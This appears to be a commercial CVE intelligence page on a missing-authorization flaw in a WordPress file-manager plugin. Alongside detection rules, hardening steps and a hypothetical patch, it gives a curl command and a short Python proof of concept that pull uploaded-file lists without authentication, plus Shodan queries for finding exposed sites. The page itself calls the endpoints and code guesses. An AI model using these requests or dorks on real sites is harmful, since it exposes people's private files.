☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
N-media logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-57921

CVE-2025-57921 Missing Authorization in N-media
📅 PUBLISHED: 2025-09-22 19:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.09%
👁️
0.09% probability
2.2× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-57921 is a Missing Authorization vulnerability in the N-Media Frontend File Manager WordPress plugin (slug: nmedia-user-file-uploader). This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized file access or manipulation. The vulnerability affects all versions up to and including 23.3. As of this report, no official patch has been released, and the vendor's status is marked as UNKNOWN/UNPATCHED.

The vulnerability is classified as CWE-862: Missing Authorization, with a CVSS v3.1 base score of 5.3 (Medium). The attack vector is network-based, requires no authentication, and has low complexity. The primary impact is on confidentiality, with no direct impact on integrity or availability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users are advised to:

  • Immediately audit any site running the nmedia-user-file-uploader plugin.
  • Check for any custom modifications or third-party integrations that may expose the vulnerable endpoints.
  • Monitor for any signs of unauthorized file access or data exfiltration.

CVSS Breakdown & Threat Level

Metric Value
Attack Vector (AV) Network (N)
Attack Complexity (AC) Low (L)
Privileges Required (PR) None (N)
User Interaction (UI) None (N)
Scope (S) Unchanged (U)
Confidentiality (C) Low (L)
Integrity (I) None (N)
Availability (A) None (N)
Base Score 5.3 (Medium)

Threat Level: Medium. While the CVSS score is moderate, the lack of authentication requirements and the potential for unauthorized file access make this a significant risk for WordPress sites handling sensitive user uploads.

Deep Dive & Mechanics

The vulnerability stems from improper access control checks in the plugin's AJAX handlers and REST endpoints. The plugin likely exposes functions for file listing, deletion, or download without verifying the user's identity or permissions. An attacker can craft HTTP requests to these endpoints, bypassing any intended authorization checks.

Root Cause: The plugin fails to call wp_verify_nonce() or current_user_can() on critical actions, allowing unauthenticated users to trigger privileged operations.

Attack Vector: An attacker sends a crafted HTTP request (e.g., POST or GET) to a vulnerable endpoint such as:

  • /wp-admin/admin-ajax.php?action=nmedia_uploader_get_files
  • /wp-json/nmedia/v1/files

Impact: Unauthorized reading of uploaded files, potential deletion of files, or enumeration of user data.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (hypothetical)

add_action('wp_ajax_nopriv_nmedia_uploader_get_files', 'nmedia_get_files');
function nmedia_get_files() {
    // No permission check
    $files = get_option('nmedia_uploaded_files');
    wp_send_json($files);
}

Patched Code (hypothetical)

add_action('wp_ajax_nopriv_nmedia_uploader_get_files', 'nmedia_get_files');
function nmedia_get_files() {
    // Add nonce verification and capability check
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'nmedia_uploader_nonce')) {
        wp_die('Security check failed');
    }
    if (!current_user_can('upload_files')) {
        wp_die('Insufficient permissions');
    }
    $files = get_option('nmedia_uploaded_files');
    wp_send_json($files);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with the vulnerable plugin installed (version <= 23.3).
  • Network access to the target.

Exploitation Steps:

  1. Identify the vulnerable endpoint by scanning for common AJAX actions.
  2. Send a crafted request without authentication:
    curl -X POST "http://target/wp-admin/admin-ajax.php" \
         -d "action=nmedia_uploader_get_files"
    
  3. If successful, the server will return a JSON array of uploaded files, including metadata and download URLs.

Proof-of-Concept (PoC):

import requests

target = "http://target/wp-admin/admin-ajax.php"
data = {"action": "nmedia_uploader_get_files"}
response = requests.post(target, data=data)
if response.status_code == 200:
    print("Vulnerable! Files:", response.json())
else:
    print("Not vulnerable or patched.")

Blue Team (Detection & Hardening)

Detection:

  • Monitor for requests to /wp-admin/admin-ajax.php with suspicious action parameters (e.g., nmedia_uploader_get_files, nmedia_uploader_delete_file).
  • Look for unauthenticated POST requests to AJAX endpoints that return file listings.

Hardening:

  • Disable the plugin immediately if not essential.
  • Implement a Web Application Firewall (WAF) rule to block requests to known vulnerable endpoints.
  • Add custom .htaccess rules to restrict access to AJAX handlers:
    <Files "admin-ajax.php">
        Require all denied
    </Files>
    

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /wp-admin/admin-ajax.php with action=nmedia_uploader_get_files or similar.
    • Unauthenticated POST requests returning JSON arrays of file metadata.
  • File System IOCs:
    • Presence of the plugin directory /wp-content/plugins/nmedia-user-file-uploader/.
    • Unexpected files in the WordPress uploads directory (/wp-content/uploads/).
  • Log IOCs:
    • Repeated 200 responses to AJAX endpoints from unknown IPs.
    • Access logs showing POST /wp-admin/admin-ajax.php with no referrer.

Detection Engineering

YARA Rule

rule CVE_2025_57921_WordPress_Plugin {
    meta:
        description = "Detects vulnerable N-Media Frontend File Manager plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57921"
    strings:
        $vuln_func = "nmedia_uploader_get_files" nocase
        $ajax_hook = "wp_ajax_nopriv_" nocase
    condition:
        $vuln_func and $ajax_hook
}

Sigma Rule

title: CVE-2025-57921 - Unauthenticated File Access via N-Media Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated requests to vulnerable AJAX endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=nmedia_uploader_get_files'
    condition: selection
falsepositives:
    - Legitimate admin usage (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-57921 - N-Media File Manager Unauthenticated Access"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=nmedia_uploader_get_files"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Audit file uploads for any unauthorized access or data leaks.
  3. Implement WAF rules to block the vulnerable endpoints.

Long-term Fix:

  • The vendor must release a patched version that adds proper nonce verification and capability checks.
  • Users should monitor the WordPress Plugin Directory for updates.

Workaround:

  • Add the following code to the theme's functions.php to block unauthenticated access:
    add_action('init', function() {
        if (defined('DOING_AJAX') && DOING_AJAX && !is_user_logged_in()) {
            $blocked_actions = ['nmedia_uploader_get_files', 'nmedia_uploader_delete_file'];
            if (isset($_REQUEST['action']) && in_array($_REQUEST['action'], $blocked_actions)) {
                wp_die('Access denied');
            }
        }
    });
    

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Frontend File Manager"
http.html:"nmedia-user-file-uploader"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-57921/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.